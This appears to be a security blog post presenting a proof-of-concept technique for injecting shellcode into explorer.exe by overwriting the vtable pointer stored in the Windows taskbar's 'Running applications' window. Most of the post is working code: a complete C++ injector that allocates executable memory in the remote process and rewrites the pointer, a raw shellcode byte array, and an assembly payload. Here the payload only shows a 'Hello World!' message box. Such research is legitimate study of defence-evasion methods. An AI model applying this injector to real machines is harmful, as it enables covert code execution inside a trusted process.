Posts Shellcode Injection into Windows Taskbar
Post
Cancel

Shellcode Injection into Windows Taskbar

Description

I will be describing how to inject arbritary code into explorer.exe using the Taskbar.
I was looking in the taskbar MSTaskListWClass, and I found a valid pointer in the “Extra Window Bytes” for the “Running applications” window.

i0

“Running applications” window is the area just after the start button

i1

I attached x64dbg to explorer.exe, and voila, it’s pointing to a COM vtable.

i2 i3

To get a clear view, I opened explorer in ida (with the pdb), and here’s the vtable

i4

Xrefs to MSTaskListWClass in ida, gives CTaskListWnd::_RegisterWindowClass(void) and CTaskListWnd::Initialize. It is important to look into _RegisterWindowClass because we want to understand the Window Callback for this class.

i5

i6

Here, kernel32!GetWindowLongW returns a pointer to vtable that has three functions - AddRef, Release and WndProc. AddRef is called first, followed by the Window Procedure and Release.

Now, this vtable is in rdata section. But the pointer to the vtable (the address stored in the extra window bytes), is writeable.

So, we allocate a rwx page in explorer.exe to store the shellcode and the payload and the new vtable. The new vtable is same as the existing vtable but the Release pointer points to the shellcode.

1
2
3
4
mov rax, offset shellcode
call rax
mov rax, 0xaabbccddeeff
jmp rax

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <Stdio.h>
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <vector>
#pragma comment(lib, "user32")

LPCTSTR pid2name(DWORD dwPid)
{
    static char procName[261];
    HANDLE hSnapshot;
    PROCESSENTRY32 entry;
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (Process32First(hSnapshot, &entry))
    {
        do
        {
            if (entry.th32ProcessID == dwPid)
            {
                lstrcpy(procName, entry.szExeFile);
                return procName;
            }
        }
        while (Process32Next(hSnapshot, &entry));
    }

    return "(none)";
}

HWND g_hwndMSTaskListWClass;

BOOL WINAPI EnumProc(HWND hWnd, LPARAM lP)
{
    static char szClass[128];
    GetWindowText(hWnd, szClass, 127);
    if (!lstrcmp(szClass, "Running applications"))
    {
        g_hwndMSTaskListWClass = hWnd;
    }
    return TRUE;
}

typedef struct {
    UINT64 pfnAddRef;
    UINT64 pfnRelease;
    UINT64 pfnWndProc;
} CImpWndProc;

int main()
{
    HWND hw = NULL;
    DWORD dwPid;
    SIZE_T nRead;

    HWND hwShellTray = FindWindowEx(NULL, NULL, "Shell_TrayWnd", NULL);
    printf("[<] ShellTrayWnd: %p\n", hwShellTray);

    EnumChildWindows(hwShellTray, EnumProc, NULL);

    printf("[*] Running applications: %p\n", g_hwndMSTaskListWClass);
    GetWindowThreadProcessId(g_hwndMSTaskListWClass, &dwPid);
    printf("[*] ProcessId: %d\n", pid2name(dwPid), dwPid);

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    printf("[*] Handle: %p\n", hProcess);

    auto m_windowPtr = GetWindowLongPtr(g_hwndMSTaskListWClass, 0);
    printf("[*] VTable Ptr Ptr: %p\n", (PVOID)m_windowPtr);

    CImpWndProc m_vTable {};
    UINT64 ptrVTable;
    ReadProcessMemory(hProcess, PVOID(m_windowPtr), &ptrVTable, sizeof ptrVTable, &nRead);
    printf("[*] VTable Ptr: %p\n", PVOID(ptrVTable));
    ReadProcessMemory(hProcess, PVOID(ptrVTable), &m_vTable, sizeof m_vTable, &nRead);
    printf("[CImpWndProc.AddRef] -> %p\n", m_vTable.pfnAddRef);
    printf("[CImpWndProc.Release] -> %p\n", m_vTable.pfnRelease);
    printf("[CImpWndProc.WndProc] -> %p\n", m_vTable.pfnWndProc);

    // shellcode
    // -------------------------
    // mov rax, addr of shellcode
    // call rax
    // mov rax, old_release_vptr
    // jmp rax
    // -------------------------
    const char payload[] = {
        0x53, 0x51, 0x52, 0x56, 0x57, 0x55, 0x41, 0x50, 0x41, 0x51,
        0x41, 0x52, 0x41, 0x53, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56,
        0x41, 0x57, 0x48, 0x8B, 0x05, 0x58, 0x00, 0x00, 0x00, 0x48,
        0xFF, 0x05, 0x51, 0x00, 0x00, 0x00, 0x48, 0x83, 0xF8, 0x03,
        0x7D, 0x34, 0x33, 0xC9, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0x48,
        0x65, 0x6C, 0x6C, 0x6F, 0x20, 0x57, 0x6F, 0x72, 0x6C, 0x64,
        0x21, 0x00, 0x5A, 0xE8, 0x09, 0x00, 0x00, 0x00, 0x78, 0x30,
        0x72, 0x31, 0x39, 0x78, 0x39, 0x31, 0x00, 0x41, 0x58, 0x41,
        0xB9, 0x40, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x21, 0x00,
        0x00, 0x00, 0xFF, 0xD0, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D,
        0x41, 0x5C, 0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58,
        0x5D, 0x5F, 0x5E, 0x5A, 0x59, 0x5B, 0xC3, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x2C, 0x0B, 0xD3, 0xF9,
        0x7F, 0x00, 0x00
    };
    size_t payloadSize = sizeof payload;

    auto vTableMem = (UINT64) VirtualAllocEx(
        hProcess, NULL, 32,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
    );
    printf("New VTable: %p\n", vTableMem);
    auto vMem = (UINT64) VirtualAllocEx(
        hProcess, NULL, 4096,
        MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
    );
    WriteProcessMemory(hProcess, PVOID(vMem), payload, payloadSize, &nRead);

    printf("[*] Payload Addr: %#016lx\n", vMem);

    std::vector<uint8_t> shellcode;

    // mov rax, vMem
    shellcode.push_back(uint8_t(0x48));
    shellcode.push_back(uint8_t(0xb8));

    for (int i = 0; i < 8; i++)
        shellcode.push_back(uint8_t(vMem >> i*8 & 0xff));

    // call rax
    shellcode.push_back(uint8_t(0xff));
    shellcode.push_back(uint8_t(0xd0));

    // mov rax, old_release
    shellcode.push_back(uint8_t(0x48));
    shellcode.push_back(uint8_t(0xb8));

    for (int i = 0; i < 8; i++)
        shellcode.push_back(uint8_t(m_vTable.pfnRelease >> i*8 & 0xff));

    // jmp rax
    shellcode.push_back(uint8_t(0xff));
    shellcode.push_back(uint8_t(0xe0));

    printf("Press Enter To Exploit!\n");
    char sc;
    sc = getchar();

    auto shellcodeAddr = vMem + payloadSize + 15 & -16;
    m_vTable.pfnRelease = shellcodeAddr;
    printf("[*] Shellcode Addr: %#016lx\n", shellcodeAddr);
    WriteProcessMemory(hProcess, PVOID(shellcodeAddr), shellcode.data(), shellcode.size(), &nRead);
    WriteProcessMemory(hProcess, PVOID(vTableMem), &m_vTable, sizeof m_vTable, &nRead);
    WriteProcessMemory(hProcess, PVOID(m_windowPtr), &vTableMem, sizeof vTableMem, &nRead);

    CloseHandle(hProcess);
}

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
.code

main:
    push rbx
    push rcx
    push rdx
    push rsi
    push rdi
    push rbp
    push r8
    push r9
    push r10
    push r11
    push r12
    push r13
    push r14
    push r15
    mov rax, [count]
    inc qword ptr [count]
    cmp rax, 3
    jge bye
    xor ecx, ecx
    call next
    db "Hello World!", 0

next:
    pop rdx
    call fuck
    db "x0r19x91", 0

fuck:
    pop r8
    mov r9d, 040h
    mov rax, [fnMessageBoxA]
    call rax

bye:
    pop r15
    pop r14
    pop r13
    pop r12
    pop r11
    pop r10
    pop r9
    pop r8
    pop rbp
    pop rdi
    pop rsi
    pop rdx
    pop rcx
    pop rbx
    ret

   count dq 0
   fnMessageBoxA dq 00007FF9D30B2CE0h   ; hardcoded, just for poc, will resolve dynamically later

end

Output

exp

Inspiration

This post is licensed under CC BY 4.0 by the author.